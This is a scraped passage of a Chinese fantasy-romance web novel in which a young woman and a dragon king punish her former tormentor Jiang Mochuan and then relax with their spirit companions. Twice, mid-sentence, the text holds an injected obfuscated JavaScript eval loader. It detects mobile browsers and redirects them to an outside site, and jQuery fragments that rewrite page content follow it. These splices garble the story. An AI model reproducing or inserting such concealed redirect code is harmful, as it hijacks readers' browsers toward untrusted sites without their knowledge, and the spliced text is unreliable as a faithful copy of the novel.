这鳞,我突然不想要了。 好脏。 都糟蹋完别人了,能放过我吗?! “若是你知道……当年是本尊在你高考时,施法让你精力无法集中,考场失利。 你毕业后,也是本尊烧了那些公司给你发的入职通知书,你会不会,怪本尊。” 江墨川能害人的程度真是超出了我的想象! 扰人高考,烧人入职通知,这是想断了人家的前程啊…… 实在太无耻了! 我在心里骂骂咧咧地谴责江墨川,无意抬起目光,却撞上帝曦怜悯中带着些许心疼的眼神…… 我怔了怔,随后仗义安抚他: “没事,我没她这么惨,我高考没考好纯属我脑子笨,我大学毕业也根本没公司愿意录用我,我是自愿回来啃老的!” 他听罢,剑眉紧拧,默默抬起另一只手,护在我的背上。 以前怎么没瞧出来,龙仙大人的共情能力原来这么强…… “我不能让你的光芒太强,盖过柔儿。 柔儿本就性子敏感,你有他们帮你补习,柔儿看着,很是羡慕。 他们不肯同时帮柔儿补习,柔儿那段时间总是心情不好,担心自己考不上。 本尊也没想到,你竟成绩进步得竟那样快。 可本尊必须阻止你的分数继续往上涨,你不能考得比柔儿高,不然柔儿,会难过。 你与柔儿同一年毕业,明明你上的学校不如柔儿,可柔儿找工作处处碰壁,你却被几家不错的公司争着录用…… 柔儿从小就活在你耀目光环的阴影下,本尊不能再让你、压柔儿一头了。” 江墨川温柔捧起怀中女孩的白皙容颜,拇指轻抚女孩下颌,幽幽道: “当然,本尊也有私心,本尊怕,你留在城市里,便不肯回来了。 怕你太优秀,在外给本尊招惹是非……你是黄河边的野蔷薇,就该生活在黄河边的槐荫村。 你选中了本尊,就该永远留在本尊身边,跟着本尊一辈子,哪里、都不许去。” 这话我怎么听着头皮发麻心慌气短呢! 槐荫村、黄河边……压风柔一头…… 他不要脸地低头要去吻怀里的傀儡,帝曦终是忍无可忍的猛地出手,一道凌冽的水涟重重打进江墨川后背,杀了江墨川一个措手不及! 江墨川吃痛放开怀里女孩,后退两步,我这才有机会看清那女孩的真容—— 一双清澈却无神的明媚眼眸,柳叶细眉,高鼻粉唇,白玉色的鹅蛋脸,长得不算顶漂亮,但看着清秀顺眼。 穿着一身淡紫色长裙,长发如水披在肩后。 乖乖站在原地,面无表情地任人发落。 我顿了两秒,嘴角抽了抽,后知后觉地错愕道:“那倒霉蛋是我啊?!” 所以,高考那天我总是觉得头疼,脑子空,是因为江墨川在暗处害我? 公司录用通知又是怎么回事? 我记得我大学毕业本就没有在城里工作的打算,所以也没投过几次简历。 投的还都是些我百分百进不去的公司,只是为了应付学校布置的任务…… 还好我本来就学习不大行,没有指望自己能考个像样的大学。 不然,他在高考那天干扰我,我这辈子真就毁了。 不等江墨川反应过来,帝曦便一道神力又将黄河岸边另一个我打回桃花簪原形。 把簪子击落在黄河边上的淤泥里。 江墨川惊恐扭头转身,见是我和帝曦,愣两秒,开口的第一句话竟是望着我说的。 “风、萦儿!你果然已经被人救上来了。本尊早上去找你,你已经不在黄河里了。 本尊就知道,你身边的那些家伙绝不会真让你**。” 深呼两口气,他带着敌意的目光扫至帝曦身上,不要脸地命令我: “风萦,过来!本尊看你已经得到教训,知道错了,昨晚的事,就当过去了。 但从今以后,本尊不许你和这个来历不明的东西纠缠!你回来,之前的事本尊可以解释……” 我极度厌恶地盯着他攥紧拳头,咽了口口水,冷声索要:“把我的龙鳞还给我!” 他听不懂人话的自信满满朝我伸手:“你过来,我给你。” 我强忍住想捡石头砸死他的冲动,拽了拽帝曦的袖子,沉声说:“老公,揍死他!” 旁边的帝曦似乎就在等着我发话,我刚说完,他就一个响指召唤来无数河底阴物。 那些阴物藏在团团黑雾里,趁江墨川一个没留意就穿透江墨川的身体,重创出他一口腥血。 围着江墨川的阴物太多,前一秒江墨川才被一团黑雾穿透左胸,后一秒又一团黑雾穿透他的后心。 紧接着无数团黑雾齐齐朝他涌去,在他全身上下钻出无数个血窟窿。 都不用帝曦亲自动手,江墨川就要已经被那些阴物撞得连连吐血,一个没防住,被一大团黑雾撞飞重重摔倒在地。 随即大团黑雾迅速分散成无数团小黑雾,风驰电掣地扑向江墨川,附在江墨川的身上,将江墨川的手脚钉在地面,凶邪的张嘴就去撕咬江墨川的全身血肉—— 江墨川狼狈的平躺在黄河河滩上,摔出一身泥不说,想动不能动,没多久身上就被阴物撕咬的东一块肉,西一块皮。 承受不住的痛苦嘶声惨叫,异瞳浸血的惶恐朝我求救:“萦儿!救我萦儿!萦儿——” 等不到我的回应又朝帝曦嘶声质问: “你到底是谁!为何会用这么阴邪的法术!龙妖,本尊与你势不两立!” “萦儿,别被这只龙妖骗了!他是冲着你的血来的,他不是什么正道灵物! 他会用这么阴邪的法术,又被**在黄河下的玉棺里,他定是什么十恶不赦的魔物!” “风萦,你是被他迷惑了!萦儿,你快把你的血给我!不然本尊就要、被这些邪物折磨**!” 又找我要血。 呵,此时此刻,我却更直观地感受到江墨川与帝曦的差距有多大。 江墨川这王八蛋遇见事只会找我要血,理直气壮地拿我当充电宝。 可帝曦,却从不许我用血帮他。 江墨川这种渣男,就该千刀万剐! 我满腔恨意地抓住帝曦袖角:“还能说话,证明你的法力不够厉害,加大强度,给他涨涨记性!” 帝曦配合的又一个响指,顷刻间,更多的阴物将他撕咬的双腿发抖满脸都是血,疼得他连半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454679|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句废话都说不出来了。 帝曦用法力将他衣领里的绯色龙鳞隔空取过来,他见状厉声反抗:“不!” 伸手要把飞过来的龙鳞抓回去,却抓了个空。 瞧龙鳞落回了帝曦手里,江墨川不甘地咬牙绷紧太阳穴,目眦欲裂地恶狠狠瞪着帝曦,面上狰狞的表情似恨不得下一秒就将帝曦生吞活剥了。 愤怒至极的嘶吼一声,双手用力往地上一拍,登时被压在黑雾下的墨衣男人化成一条满身麻麻赖赖黑色坚硬鳞片的蛟龙,发了狠的撞开身上脏东西,一声惨啸,直冲云霄飞去—— 帝曦施法化出千万柄水刃,掌力稍稍一推,水刃便追上半空中的那条黑蛟,准备给他致命一击。 但没想到黑蛟狗急跳墙的扭头张嘴冲追杀自己的道道水刃怒吼一声,刺耳吼叫掀起黄河中的汤汤流水,竟引得河中黄水逆流入九霄,在他面前筑起一道能挡住帝曦攻击的磅礴水墙…… 水刃噼里啪啦没入水墙内,待水墙吞噬完帝曦的攻击再次哗哗啦啦洒回黄河里,躲在水墙后的黑蛟已经抓住机会逃远了。 拽着帝曦袖角的手被帝曦突然紧紧握进大掌中,帝曦面色凝重地冷冷低喃:“驭水术,他怎会和黄河龙宫有关系……” “黄河龙宫?”我好奇追问:“你是说,江墨川和黄河龙宫有关?不可能吧,这狗东西从前是在山里修炼的。” “驭水术,除了本王,便只有那个混账玩意……” 帝曦欲言又止,少时,冷哼一声:“有意思。” 我听出他话里涉及机密,不好和我说得太明白,就没再问下去。 只假装惋惜的摇头叹气,“哎,可惜让他跑了。下次再揍他!” 帝曦把鳞片送还给我:“回家本王再帮你补回去。” 我看了会儿他手里的鳞片,嫌弃到头疼:“我、不太想要了……这片鳞被他戴在脖子上,好恶心。” 他沉默片刻,又把鳞收了回去: “除了那九枚本命仙鳞,你身上其他的鳞片都是可以再生的。 只是需要等个几年才能长出一枚完整的新鳞片,你若愿意等,不要这片鳞,也可以。” 我点点脑袋,果断道:“那你帮我找地方将它丢了吧,只要不落进江墨川手里就行。” 想了想,我觉得直接丢了有点太对不起自己,好歹是自己身上长的东西…… “要不,你先帮我收着,等我找到合适地方了,我再挖个坑把它埋了。”我昂头和他商量。 他可能觉得我办事不太靠谱,便将鳞片融进了掌中,“本王帮你处理这片鳞,你无需管了。” 我哦了声,“那行吧,你办事我最放心。” 看着天尽头的太阳已经慢慢往西山落了,我习惯地挽住他胳膊提议道:“再待会,我们看落日。” 他扫了我一眼,没有拒绝。 安静几分钟后,他翻手化出一对玉灵花发夹,递给我:“头发被风吹乱了,挽一下。” 我接过发夹,用指尖碰一碰发夹上的一簇簇小紫花。 “你帮我挽。” “本王、不会给女人挽发。” “我胳膊疼!” “怎会胳膊疼?” “昨晚……累着了!” “昨晚怎会累着胳、” 他话一顿,想起了些什么,俊脸一时被落日染得酡红。 没好气地应道:“本王帮你!” 十来分钟后,我坐在水边望着里面的倒影,摸摸肩上他给我挽的两个小揪揪,满意道:“还不错。” 他的身影被水波涟漪拉得很长,俯视着水中倒影,无奈道:“本王看你,愈发会偷懒了。” 我嘴硬嘀咕:“没偷懒,胳膊真疼。” “你中午做饭时抡锅的样子,一点不像胳膊疼!” 我心虚闷咳了声:“那你不还是给我挽了么。” 他视线从水中我的倒影上移开,嘴硬道:“再贫嘴,本王就把你踹下去。” 第80章 求求你了,龙仙大人~ 我听罢,却一点也不带怕的,弯腰坐下,掀过长裙摆搭在腿上,免得河泥将裙角弄脏,拍拍手勇气十足道: “你踹呗,踹下去你还得再把我捞上来。我要是在水里泡久了再生个病,最后照顾我的,依旧是你。 反正你怎样对我,都不会让我有生命危险,龙仙大人你的**锏对我已经没用了,我都对黄河免疫了!” 他拿我没办法的凤目微斜睨我:“你倒是信任本王,便不怕本王真如江墨川所说……” 不等他话说完,我就拉住他的手,晃晃他胳膊示意他也坐下来: “这些年的经历呢,告诉了我一个人生真理——永远不要听别人说了什么,要看别人做了什么。 帝曦,我还是那句话,如果连几次三番救我于水火的你我都不敢信任,那我的人生该多悲哀啊! 我的心告诉我,你是我生命里,第三个值得完全信任的人!” 他犹豫了片刻,陪我在河岸边坐下:“前两个,又是谁?” 我坦然道:“我爸妈啊!” 歪头靠在他肩上,我望着缓缓下沉的落日怀念道: “我记事很早,现在还能记起来我家没出事那段时间的画面。 我爸捕鱼手艺很好,每次来黄河边下网,都能捕到很多鱼虾,我妈心灵手巧,做菜好吃,还会织毛衣钩花。 我刚出生那几年,村里很流行用毛线织东西,用棉线织那种镂空的花布。 我爸出门捕鱼的时候,我妈就和同村的婶子们坐在院门外的槐树下做那些手工,我小时候很多漂亮衣服都是我妈亲手给我做的。 而我爸,每回满载而归,都会拎着捕到的最大的那条鱼故意吓唬我,陪我玩。 我爸还会用卖鱼的钱给我买头花,给我妈买发卡。 我爸是个憨厚老实的村里糙汉子,但对我妈,却倾尽了一世温柔。 我妈喜欢桃花,他就在家里院子内种了桃树,我妈喜欢吃石榴,他就一粒一粒地给我妈剥。 他出门吃酒前,会特意先做好一桌子饭菜,免得我们娘俩在家不做饭瞎凑合。 我爸从不沾烟酒,但我三岁那年,最疼我爸的姑奶奶因为被儿子**凄惨离世,他去吊唁那晚,在姑奶奶家吃白席头一次喝了很多酒,醉醺醺地摸回来后,抱着我妈就嚎啕大哭。 说害怕自己像我姑爷爷那样命薄走得早,把我妈一个人留在世上,受人欺负。 他还说,他要是在天有灵看见我妈过得不好,肯定会在天上急得发疯。 他还说,幸好他和我妈没有儿子,女儿心善,只会跟父母相依为命不会伤害欺负父母,他那晚偏拉着我妈,让我妈答应他,说以后不生了,只养我一个…… 那会子,在农村没有儿子是会被嘲讽的,连风柔都因为是女儿被大伯大娘两口子**过,可我爸妈丝毫不在乎这些。 他们不把我当女儿,也没把我当儿子,只把我当成唯一的孩子,用心呵护,倾注心血。” 他默了半晌,道:“你感受过家人带来的温暖,后来骤然失去这一切,痛么?” 我压低脑袋,点头:“那肯定啊,得到后再失去,会一生难以释怀的。” “嗯。”他应得很轻。 我问他:“你呢?你爹娘还在吗?” 他不自在地拧了下眉,目光落在远处的汤汤黄水上:“本王父母、早**。” 我愣住。 他语气平淡道:“本王母亲是个可怜女人,本王还没出生,她就**。本王父亲是个畜生,后来被某个替天行道的神仙砍了,真是、罪有应得!” “啊?”我要被绕糊涂了,“你还没出生她就**……那你?” 他毫不隐瞒地直言: “本王是被那个老畜生剖母腹活剥下来的,不过他后来应该很后悔当初一念之差,将本王取出来。” “原来你和你父亲的关系,并不好。”我意外喃喃。 他嗯了声, “已经不能用好不好来形容了,他和本王那位大哥,应是这世上最盼着本王死的人。 本王夺走了他的一切,他后来日日都在盘算着如何将那些抢回去。 可惜,本王就算被封印,本王所拥有的全部,他也没本事拿到手。” “我听小鱼说,你之前是被人冤枉才被封印在血玉棺里的,该不会和他们有关吧?”我试着问。 他眸底波澜不惊,心情也出奇的平静: “本王如今,也是这么怀疑的。不然,他们怎会死到临头了还惧怕本王有朝一日得见天光,重回龙宫。” 我握住他的手安慰他: “虽然你没有父母的疼爱,但你自己很争气啊! 柳云衣告诉我,你是黄河底下的小龙王,身份尊贵还修为高深,你现在拥有的法力也好,地位也好,都是你自己挣来的。 你不需要任何人为你遮风避雨,你很厉害了,很努力了。 过去不好的回忆,就不要想了,打不倒你的,终究会被你踩在脚下!” 他斜过凤目睨我:“这话你应该同自己说。” 我长长叹口气,无欲无求地靠在他肩上闭眼小憩: “我就想做个清心寡欲的咸鱼,现在不是有你这条真龙在嘛!你这条真龙护着我这只小咸鱼,我可以安心偷懒睡大觉。” “你想的,真美。” “生活已经这么苦了,还不许我想得美啊!” 他无奈瞟我。 我靠在他肩上打个哈欠,被太阳晒得瞌睡了。 静心休息几分钟。 突然想起这个时节好像适合下河捡蚌! “帝曦,我们……” 我猛地来了兴致,睁眼昂头,却正好碰上不知何时凑近的他……清凉柔软的薄唇! 我立时屏住呼吸吓呆住,脑子里一片空白。 万万没想到狗血偶像剧的剧情竟然有一天会真实发生在我身上—— 电视剧里女孩被亲了,然后该是什么反应来着? 哦对,推开他! 奈何我还没来得及实践这个经典方案,腰就被他伸出手臂搂住,紧接着,唇被他的薄唇压住…… 他呼吸急促地捧住我脑袋,与从前找我要灵力才吻我不同的是,他今天亲我的方式变了。 不,也许不该说是变了。 而是,升级了。 他好像昨晚在水里就是这么亲我的来着。 男人的舌尖轻易便抵开我的唇齿,随即攻城略地,将丝丝清凉渡进我的口中…… 揽在我腰上的手臂越收越紧,他抚在我脑袋上的大手怜爱且霸道。 与我纠缠时,浑身上下都散发着强烈的占有欲气息—— 不过,更不对劲的是,我身体的反应。 被他这么吻,我根本遭不住。 脑子里乱哄哄的,眼前天旋地转,可心底却有颗名为欲望的种子慢慢发芽、肆意疯长…… 驱使着我情不自禁抬起胳膊,抱住他的脖子,急不可耐的靠近他,抱紧他,恨不得融进他的骨血。 心跳声砰砰回荡在耳畔,周围的一切声音都瞬间放大数十倍。 我甚至能听见,他胸膛内的动静,与我的心跳合二为一,节奏一致。 皆是乱得厉害。 为什么、突然会有这种感觉…… 为什么从不排斥和他在一起。 为什么,他的怀抱让我如此痴迷留恋…… “帝曦……”我吐了口燥热浊气,猛咽了口口水,主动进攻,吻他,感受他。 他僵住动作,染上三分醉意的紫眸渐渐被我的主动引回神,目光清明…… 愣几秒后,他没有抗拒我的攻势,反而再次阖目,温柔托住我的后脑勺,不甘示弱的抢走把控权。 呼吸炙热交缠,我伏在他怀里慢慢壮起胆子,接受他的温柔相待。 直到我有些呼吸不过来了,他才依依不舍的松开我。 唇上的清凉离开那一瞬,我竟还有点不大乐意…… 亲完,我尴尬地从他怀里坐起来,不好意思和他说话。 他亦闷咳几声,假装没看我。 “本王、只是想趁机为你治伤……” 我脑子空白地点头。 他说什么就是什么! 不过,我按住起伏剧烈的胸口:“你心跳、好快。” 他呛住,坚决不承认:“不是本王的,是你的!” “怎么、可能!是你的!” “本王乃是道行高深的龙王,是谁的心跳,本王、能分辨不出来么!” “……” 我还是不信:“至少有一半是你的!” 他一时哑住,静了静,拉住我的手带我回家。 “该回家了。” 我激动道:“可是我落日还没看呢!” 他哽了哽:“河边风太大,将你吹得头疼脑热了又得麻烦本王!” “我不走,我腿疼……” “你觉得本王还会信?” “真疼!” “那你自己待在这,本王、没空陪你闹。” “你背我。” “风萦!” “求求你了,龙仙大人,求求你了——” “……” 小银鱼好像说得没错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454680|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他家龙王大人的确受不住女人向他撒娇。 我从前做梦都没想到,这辈子还有机会让帝曦背着回家! 虽然他背得很不情不愿……甚至回家后还踹了趴地上抓老鼠的颜如玉屁股一脚。 “大王今天又怎么了?刚回来就踹我屁股,还说我不务正业。” 颜如玉揉着自己的尾巴骨百思不得解。 **仙盘在水井口晒太阳:“抓老鼠难不成还是正业吗!” 柳云响在院子里做了个简易秋千,推着流苏玩:“肯定是又在萦儿手里吃瘪了呗。” 流苏兴奋地流口水:“姐夫和姐姐的感情真好!” 我尴尬笑笑:“要不是因为我是他契人的关系,他估摸早就真把我踹黄河里了……” 在院子里望了一圈,我问流苏:“你那位师父呢?” 流苏摇头:“不知道啊,玉衡哥哥下午就没影了。” 柳云响推了把流苏淡定道:“还能去哪,一个小时前带柳云衣和余下几位仙家跑出去围殴那条死蛟了。” 颜如玉啧啧感叹:“黑蛟今天怕是不死也要被打残了!” 我倒吸一口气,赞同道:“你说的……很对!” 颜如玉摇摇尾巴扭头看我一眼:“嗳对了,你下午和大王出去干啥了?踏青?” 我哦了声,说:“也没干啥,就是打了江墨川一顿。” 颜如玉金黄色大尾巴陡然顿住,半晌,摊手:“得,死蛟命中注定今天必有一劫,沈沐风他们出门的时候把家里斧头都拎上了!” 流苏担心道:“那玉衡哥哥他们会不会有危险?” 大**翻了个身: “苏苏妹妹啊,你真是对大王的实力一无所知。 大王一个,一巴掌能扇咱们九个。 他刚从大王手里溜走,肯定血条都被打掉三分之二了。 老狐狸他们再去添把火,努把力估摸能将他血条全干没。 哎呦,早知道我今天也去凑热闹了!” 流苏:“……” 月升时分,胡玉衡他们携着一身血腥气从外面飞了回来—— “今天我踹了死蛟五脚!狗玩意,我早就看他不爽了,从前仗着小萦护着他可没少在咱们跟前耀武扬威,装模作样!” “我更厉害,我照着他的脸挠了好几爪子,都给他挠破相了!” “我也踹了,我还薅他头发了。” “我今天收获一般,也就打掉他一颗蛟牙。” “我虽然没有亲手打着他……但我一脚把风柔踹进了泥坑里,让风柔糊了一身狗屎。” “咱们直接冲过去和他打,是有点费劲。但咱们跟在大王后面动手,他就只有挨打的份。” “不得不说,这死玩意命挺硬,都被大王打成那样了,被咱们几个联手群殴还能反抗一二……” “祸害留千年嘛!” 流苏心疼地拿着棉签蘸取碘伏给大白狐狸的尾巴上药,在大白狐狸身上涂了好几块红彤彤的痕迹,红着眼眶委屈道: “玉衡哥哥,你疼不疼啊?那条死蛟真坏,都把玉衡哥哥打秃**了!” 沈沐风他们一听这话就不乐意了, “我说流苏妹妹你能不能看仔细了,他才被打掉几撮**?我们几个中,就他身上挂的血最少! 还有他的爪子,纯纯是挠人挠伤的! 他可是条活了好几千年的老狐狸,还是我们中唯一一个真正的仙家,他一个家伙的杀伤力少说抵我们五个! 今天就他打死蛟打得最卖力!” 柳云衣勾起蛇尾趴在桌子上焉巴巴赞同道:“就是!刚打起来那会子我们几个都害怕被他误伤了!” 把尾巴往柳云响手边一甩,柳云衣臭不要脸的耍赖撒娇:“阿响,尾巴疼,捏捏~” 柳云响拿柳云衣没办法的叹口气,施法为柳云衣治疗尾骨。 白仙睿智的从怀里掏出秘制良药,洒在自己受伤的脚丫子上,自给自足。 旁边的仙家们见状纷纷将胳膊腿送过去:“老白,给我来点!” “我也要!” “我后背,多倒点药粉。” “啊爽,还得是你啊老白,我方军医。” 白仙被夸得美滋滋:“那可不,老子在东北那旮旯可是有名的医学世家,祖上往上数八百代都是从医的!” 柳云衣嘴欠地逗他:“可惜啊,医者不自医,你自己却是病死的。” 小白一僵,熠熠生辉的明眸渐渐黯淡。 柳云响受不了的一巴掌拍柳云衣受伤的尾巴上,生气道:“就你话多!” 第81章 是重生,还是妄想症 柳云衣被拍得嗷嗷直叫,连声承认错误:“我错了我错了……阿响你别生气。” 我怕小白心里难受,忙把自己私藏的糖葫芦送给他: “呐,帝曦给我的,我记得你喜欢吃,我今天压疼吃不了,送你了。” 小白站在桌子上,昂头看了看我,银眸倏然亮起微光,“牙疼?上火吗?我这里有下**!” 小爪子从咯吱窝里掏出一只小白瓷瓶,递给我。 我接过药瓶,一手把糖葫芦塞给他:“好,我晚上睡前吃点。” 小白拿着糖葫芦有点犹豫,过了会儿,又从背上拽下一片黑色蛟鳞,献宝般送给我,眼巴巴地盼着我夸:“小萦,你看我把江墨川的鳞也扒掉一片!算不算小小帮你报了回仇?” “生扒的啊?”我诧异看着鳞片问。 小白点点头:“对啊!他那么欺负你和苏苏,剥了他的皮都不为过!” “厉害!不过这鳞片我就不要了。”我把他的战利品推回去:“你拿去炼药,那狗东西的鳞我嫌脏。” 小白拿着糖葫芦乖巧点头:“好啊!我一定把它的鳞磨成粉末,狠狠解气!” 余惊云心累抱怨: “卷死你得了,还给小萦带战利品,我没有带回来江墨川的鳞,但我手里还有江墨川一颗牙,小萦你要吗?嫌脏可以一起丢给老白制药。” 沈沐风摇着桃花折扇风流倜傥地飘在堂屋里,从身后化出一把青丝, “鄙人不才,只薅掉死蛟一把头发,蛟全身可都是宝,拿来制药不管是自用还是高价售卖出去,都极好。” 我拿他们没办法地挥挥手,“都给小白吧,物尽其用,别浪费了。” 大白狐狸重重呼口气,垂头歉疚道: “我知道现在无论我们怎么做,都已经弥补不了这五年来对你的伤害了,但我们,想让你看见,我们真的知错了,后悔了。 弥补不了,也要弥补,小萦,我们想让你开心,想让你,快快乐乐度完这一生。” 他话说完,屋里一时寂静无言,仙家们都屏住呼吸不再发出任何动静,但一双双圆溜溜的眼睛都在盯着我面上的反应,不敢放过我眼底任何一次情绪波动…… 我抿了抿发干的唇,扭头看了眼旁边的仙家们,选了个能摸的颜如玉揉它脑袋, “还记得五年前,那个雨夜,大家初来我家的那晚吗? 我见到你们的第一反应不是害怕,是开心。 我想,我终于有朋友了。 不管中间这四年我们之间发生了什么,我始终都没有忘记五年前你们辅导我功课,陪我玩捉迷藏的那段美好过往。 五年前我说过,咱们以后是一家人,现在依旧没变。 你们,和我,流苏,还有小银鱼,帝曦,至少目前,我们都是彼此的家人,亲人。 与分离相比,世间所有事,都不重要。咱们好好地在一块生活,比任何弥补都有用。” 趴在水缸里看热闹的小银鱼吐了个泡泡,心满意足地傻笑:“嘿嘿,还有我!” 颜如玉胡乱扒拉被我揉乱的发型,与仙家们感动得一起叹气。 流苏给胡玉衡整理着尾巴上的狐**,拖着哭腔咕哝: “早就说了二姐不怪你们,你们就是不信……玉衡哥哥,你今晚怎么掉了这么多**啊! 皮肤都泛红了!我听说宠物掉**需要补充鱼油,玉衡哥哥,我今天网购了两盒鱼油胶囊,你也要不然吃两颗吧!” 胡玉衡一听这话全身狐狸**都要炸起来了:“我、我又不是宠物,我是狐狸,吃什么鱼油!” “玉衡哥哥我查过,狐狸也能吃的……玉衡哥哥,你该养养**了!你看你的**被打得乱七八糟的,要不然我自学宠物美容给你修剪一下……” “冷静苏苏!” 胡玉衡一爪子捂住苏苏嘴巴,欲哭无泪道: “放过我吧,你的技术我不敢恭维啊,我怕你修剪着顺道把我绝育了。 乖,咱不玩手机,别在网上乱学习,有些东西……自学容易入魔!” 苏苏失望瘪嘴,旁边的仙家们默默往我身后撤了撤。 柳云衣溜到我肩旁小声和我告状: “明天能不能把你的平板收回来,这丫头成天做完作业就在网上搜宠物养护与美容美发的教程,前两天还要烧锅开水把我煮了,说这是什么水疗法。 我是蛇,又不是猪,我要是往那开水锅一跳,没两分钟就熟了!” 颜如玉心累摇尾巴:“你这算什么,她上午拿把剪刀说要在我屁股上修个爱心!我天,我是**又不是柯基!” 余惊云飞起来惨叫:“你有我惨吗,她要在我的鱼鳞上给我做美甲!这像话吗!” 沈沐风展开折扇遮住半张脸,满眼死寂: “你们聪明,都没被骗到,这丫头嘴甜,忽悠我两句,我就着了她的道了。 只有我受伤的世界到底还是达成了。” 我好奇地挑眉问他:“你……怎么了?” 沈沐风生无可恋道:“她没抓到小玉,就拿我练手了。” 我呛住:“她……在你屁股上剪爱心了?” 沈沐风哽了下,心累瞟我:“我本体是人,屁股上没有**,谢谢。” 我试探着问:“那她……怎么你了?” 沈沐风情绪低落:“她给我剪了个斜刘海。” 我:“……” 瞄了眼他此刻的发型:“剪了、吗?” 沈沐风痛苦地重重叹气,握着折扇往脸上一拂,恢复本相。 于是我们所有人都看见—— 沈沐风的斜刘海被剪成了齐刘海,长度还仅有三厘米…… 一排头发垂下来,只盖住沈沐风脑门子的三分之一…… 硬是给他剪的颜值**几十倍,发际线都后退了! 柳云响憋着笑,抽了两下。 最后还是没忍住,笑得摔桌上捶桌板。 “哈哈哈太丑了!沈沐风你脑门子在发光!” 仙家们皆是捂肚子爆笑,把桌椅板凳晃得哐当响。 沈沐风万念俱灭地又用法术把自己变回去,“笑吧,这世上终究只有我一个单纯善良,正直勇敢的好仙家。” 仙家们笑够了,也打爽了,这才纷纷回到牌位里睡大觉。 苏苏见她的手艺遭到大家质疑,有点失落,我又费劲哄她重拾信心,陪她聊了半个小时的天才把她哄睡着。 回到自己房间往床上一倒,我闭眼就睡。 不知过了多久,我感觉胸口有点重,像是压了什么东西。 迷迷糊糊睁眼,才发现是帝曦在用自己的鳞片,修补我锁骨处缺失的那片鳞…… 墨紫色龙鳞融进我的血肉,顷刻化成一片赤金龙鳞。 我深呼吸,抓住他的手,歪头躺进他的怀里,枕在他胳膊上。 “帝曦……你不是说,可以自己长出来么?” 他敛了掌中灵力,在我身边睡下,淡淡回应: “怕你疼,本王的鳞能护着你的身体不受普通化鳞水影响。” “为什么,你总是这么心疼我。” 我昏昏欲睡地窝在他怀里胡乱低喃: “连我妈都不管我了……只有你会护着我。你真的很好很好,可你终究会离开我。” “帝曦,能不能不走。” “你的怀里好暖,我从来没感受过这么温暖的怀抱……好有安全感。” “你如果能早点出现,该多好。” 他温柔把手捂在我耳朵上,哽了哽,道: “上辈子不是对本王残忍得很么?这辈子,倒学会在本王怀里撒娇了…… 风萦,本王不能原谅你,可又舍不得、推开你……” “你可曾,有一瞬信过本王?” 我睡得神志不清,抱住他脖子,抬腿搭在他腰上。 他呼吸一滞。 我心跳失常。 “风萦……你、腿拿下去,像什么样子。” “你别管我!” “你!” “都睡一块了,让我抱一下怎么了,别惹我,我有起床气!” “……” 和他睡在一张床上,好像越来越不把他当外人了。 不知道他的原形抱起来手感怎么样。 下次可以试试! …… 帝曦说我需要在家静养,于是我就每天吃了睡睡了吃,白天躺摇椅上晒太阳,晚上早早回床睡大觉。 唯一美中不足的是生理期到了,腰酸背痛,前几天又刚被丢进黄河里泡过,疼得有些严重。 不过我开始掌握龙仙大人的正确使用方法了,只要我疼急了,心情浮躁地拉着他胳膊烦一烦他,他就会立马用法术给我止痛…… 这法子,百试百灵! 生理期的第三天,我随口提了嘴想吃水果糖,他就真给我买来了。 还在柳云响的指导下给我买了个电热水袋。 怕我犯懒搁一边不用,还亲手塞进我上衣里,放在我小腹上,给我搭了条毯子。 突然发现,帝曦当老公……还挺称职。 会照顾人,心也细。 三天来我手边的红糖姜茶水就没有断过,喝得我浑身都是红糖味。 下午我趴在摇椅上打瞌睡,苏苏牵着胡玉衡从外面回来,突然塞给我两千块,开心道: “姐夫让玉衡哥哥带我去找大舅要钱,要到了! 我还把我家那几块田要回来了,村长说我家那几块田他包了,我住在二姐家他就不给我粮食了,每年过年给我五百块钱。 一块地一百,他要去种花生!” 我拿起怀里的一把钞票,意外道: “风大年那个抠门家伙竟然肯把你家田归还给你了!我还以为今天暂时要不来呢。” 苏苏心情很好地说: “我带玉衡哥哥一起去了啊,我负责找村长哭,玉衡哥哥负责吓唬风大年,加上村长有意帮我,就说自己要那几块田种庄稼,风大年不好和村长争,只能松口。 村长心疼我,趁机把这几年风大年种我家田 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这一听就不靠谱,我问胡玉衡:“风柔真有转换孕妇腹中胎儿性别的本事吗?” 胡玉衡点头: “风柔没有,江墨川有,风柔给的东西的确能强行更改孕妇肚子里的孩子性别…… 但,会给孕妇身体造成极大损伤,且用过药的孩子,不是真的男孩,而是雌雄同体。 此药阴损,江墨川最近帮风柔给村里人看事,用的都是逆天而行的损法子。” “雌雄同体?”我头皮发麻地嫌弃道:“他们可真会害人。” 胡玉衡嗯了声: “我们和村长外甥女丈夫婆婆说明了情况,她婆婆也后悔了,决定不改性别了。 毕竟头胎是女儿,还能要二胎,药留在孕妇肚子里不仅会让孩子变成雌雄同体的怪物,还会给孕妇的身体造成不可逆的损伤,孕妇会终生无法再受孕。 哪个老人都不愿意看见自家唯一的独苗,是个雌雄同体的怪物。” 我轻声叹道:“旧思想害人啊。对了,村里出了这种事,村长怎么没去找杨大哥?” 流苏说:“杨大哥和泽安哥回城里办事了,连王瘸子都不在村里,说是在外地接了个急活。” 我恍然大悟:“难怪风柔能在村里只手遮天。” 晃了晃手里的钞票,我还给流苏:“这钱你改天让胡玉衡陪你去镇上银行办张卡,存起来。” 